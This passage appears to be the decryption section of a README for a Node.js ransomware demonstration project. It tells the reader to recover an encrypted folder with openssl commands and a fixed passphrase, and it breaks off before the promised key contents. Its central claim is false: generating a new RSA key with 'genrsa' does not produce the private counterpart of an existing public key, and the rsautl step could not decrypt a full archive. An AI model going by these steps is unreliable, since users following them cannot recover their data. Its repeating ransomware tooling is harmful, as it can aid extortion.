If you have encrypted your folder using the above script, here is how to decrypt it.

Create a Private key
in above script we have a public key inserted, to create its private counter-part, which is used to decrypt the folder. (public key is used to encrypt the folder)

1. openssl genrsa -aes256 -out private.pem
2. It will ask for pass phrase, enter nodejs-ransomeware.
3. Enter this command openssl rsautl -decrypt -inkey private.pem -in /Users/<your-username>/Desktop/folder-to-encrypt.enc > /Users/<your-username>/Desktop/folder-to-encrypt.tar.gz

You should be able to access your folder now, decompress that folder & good to go.

OR

or you can skip the first two-step by,
create a file private.pem
paste all these details
